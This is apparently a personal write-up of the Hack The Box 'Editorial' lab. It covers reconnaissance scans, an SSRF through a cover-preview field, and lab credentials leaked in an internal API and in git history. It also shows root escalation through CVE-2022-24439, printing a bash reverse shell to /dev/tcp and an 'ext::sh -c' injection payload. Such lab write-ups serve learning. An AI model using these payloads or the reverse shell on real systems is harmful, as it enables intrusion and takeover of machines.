Editorial Lab
Hack the Box Penetration Lab
Reconnaissance
First up, a port scan:
┌──(zero㉿zero)-[~]
└─$ rustscan 10.10.11.20
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/zero/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.20:22
Open 10.10.11.20:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 22,80 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 12:38 PDT
Initiating Ping Scan at 12:38
Scanning 10.10.11.20 [4 ports]
Completed Ping Scan at 12:38, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:38
Completed Parallel DNS resolution of 1 host. at 12:38, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:38
Scanning 10.10.11.20 [2 ports]
Discovered open port 22/tcp on 10.10.11.20
Discovered open port 80/tcp on 10.10.11.20
Completed SYN Stealth Scan at 12:38, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.20
Host is up, received echo-reply ttl 63 (0.10s latency).
Scanned at 2024-10-14 12:38:25 PDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
Raw packets sent: 6 (240B) | Rcvd: 6 (236B)After adding the URL to my hosts file, its time for both a FUZZ scan and FFUF scan!
The FUZZ scan using feroxbuster revealed the following:
┌──(zero㉿zero)-[~]
└─$ feroxbuster -u http://editorial.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -k
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editorial.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 72l 232w 2939c http://editorial.htb/about
200 GET 210l 537w 7140c http://editorial.htb/upload
302 GET 5l 22w 201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 10938l 65137w 4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
[####################] - 2m 62295/62295 0s found:8 errors:0
[####################] - 2m 62282/62282 484/s http://editorial.htb/ Nothing crazy here, a few pages that are already accessible by the website itself. The FFUF scan revealed nothing at all, so lets move on to just exploring the website some more.
Press enter or click to view image in full size

The most interesting part of the website is this form that you can supposedly fill out and publish with them. This seem ripe for a reverse shell upload. After trying different shells and attempts to gain access I was a unsuccessful.
I then opened up burpsuite to see if anything was happening when I went to upload the files and fill in the basic form. There was nothing of use that I could find. There is a different URL for previewing the cover however, after a little bit of digging and getting a hint.
It looks like, when you upload a cover to preview it sends it to:

Let’s see if I can upload a file to the server using the preview button and supplying it with a file from my local system.
┌──(zero㉿zero)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [17/Oct/2024 10:45:17] "GET /textfile.txt HTTP/1.1" 200 -Looks like it worked, it grabbed and executed the file server side.

Now the next step I had never done before, using burpsuite to launch a brute force to find the port to which the file is uploaded to.
I used the intruder to send a copy of the request you would normally send when uploading a book url to the server. Changing out my request to grab my test file with one that would send out a local ping to a list of specified ports. Hopefully giving me a response from one of them.
Press enter or click to view image in full size

The attack took a WHILE. Below are 2 examples of the requests that I got back, one from port 4999 and one from port 5000.


Port 4999’s response was to just spit out the broken image jpeg. Port 5000’s response on the other hand actually attempted to upload a file. Signalling to me that this is where the upload service was hosted.

To test this, I sent a request to the server using its local host location to see what response I would get back.
Press enter or click to view image in full size

So there is definitely an API here that is handling the files that are being uploaded. Next thing on the list would be to access these locations within the API.
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sent to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the API.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the latest version of the API.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}To do this I am just going to send a request to each of these endpoints and see what it spits out.
The changelog location gave me this response:
[
{
"1": {
"api_route": "/api/v1/metadata/",
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Editorial El Tiempo Por Arriba"
}
},
{
"1.1": {
"api_route": "/api/v1.1/metadata/",
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Ed Tiempo Arriba"
}
},
{
"1.2": {
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v1.2/metadata/"
}
},
{
"2": {
"contact_email": "info@tiempoarriba.moc.oc",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v2/metadata/"
}
}
]Just some emails, nothing too crazy. Coupons gave me this:
[
{
"2anniversaryTWOandFOURread4": {
"contact_email_2": "info@tiempoarriba.oc",
"valid_until": "12/02/2024"
}
},
{
"frEsh11bookS230": {
"contact_email_2": "info@tiempoarriba.oc",
"valid_until": "31/11/2023"
}
}
]Again nothing too serious, although maybe the coupons might still work? By far the most interesting response was from authors.
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
\n\nYour login credentials for our internal forum and authors site are:
\nUsername: dev
\nPassword: dev080217_devAPI!@
\nPlease be sure to change your password as soon as possible for security purposes.
\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.
\n\nBest regards, Editorial Tiempo Arriba Team."
}(I formatted this response to make it more readable)
The response straight up gave me a login to the authors site and internal forum. On my initial scan of the web server, there was an open SSH port, this username and password combo might give me access.
┌──(zero㉿zero)-[~]
└─$ ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Oct 17 06:35:44 PM UTC 2024
System load: 0.0 Processes: 227
Usage of /: 60.5% of 6.35GB Users logged in: 0
Memory usage: 12% IPv4 address for eth0: 10.10.11.20
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$Success! User flag secured. Now onto privilege escalation. My first port of call is to upload an execute linpeas to see what I can find. A quick scan through the results gave me little to nothing. There is another user on the system called prod that might lead to something.
dev@editorial:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jun 5 14:36 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxr-x--- 5 dev dev 4096 Oct 17 18:43 dev
drwxr-x--- 5 prod prod 4096 Jun 5 14:36 prodPoking around the file system lead me to a git folder.
dev@editorial:~/apps/.git/refs/heads$ cat master
8ad0f3187e2bda88bba85074635ea942974587e8Found this hash, not sure if it will help. I did also find a logs folder that contained a timeline of commits made to the back end.
dev@editorial:~/apps/.git/logs$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.The big thing that stands out here to me is “downgrading prod to dev”. From my initial access it seemed that prod and dev had the same level of permissions, so this commit must be the reason for it.
dev@editorial:~/apps/.git/logs$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------It seems like there is a login here for the user prod (the colours aren’t apparent here, but the top template_mail_message is red in colour on cli and the bottom one is green, meaning the message was replaced during this commit). Time to test and see if it works!
┌──(zero㉿zero)-[~]
└─$ ssh prod@editorial.htb
prod@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Oct 17 07:58:07 PM UTC 2024
System load: 0.0 Processes: 232
Usage of /: 60.8% of 6.35GB Users logged in: 1
Memory usage: 18% IPv4 address for eth0: 10.10.11.20
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
prod@editorial:~$It works, now I can snoop around this users account.
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *It seems like I can run a python file with root permissions. This could lead to root access. After check the version of git the system was running, it seems there is an RCE exploit that I could use to leverage. CVE-2022–24439.
Following this proof of concept here, I set up a nc listener and echo’d a simple reverse shell script on the system.
prod@editorial:/opt/internal_apps/clone_changes$ echo "bash -i &>/dev/tcp/[MY_IP]/[PORT]<&1" > /tmp/shell.shThe python script takes 1 argument and calls it url_to_clone.
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])I then compared it to the PoC code.
from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])The important part here is the actual exploit.
'ext::sh -c touch% /tmp/pwned'I needed to pass this in and link my reverse shell. Resulting in this command being entered. Remembering to change the touch input to bash since that’s how we spawn a shell.
prod@editorial:/opt/internal_apps/clone_changes$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell.sh'From there I just entered the password for prod again since its a sudo command. And bam, got the flag.

Conclusion
This was the hardest box I have done so far. It’s easy rating for me at last is a little down played. I did look up a few hints to get me over the line, but that’s just how you learn.
Last updated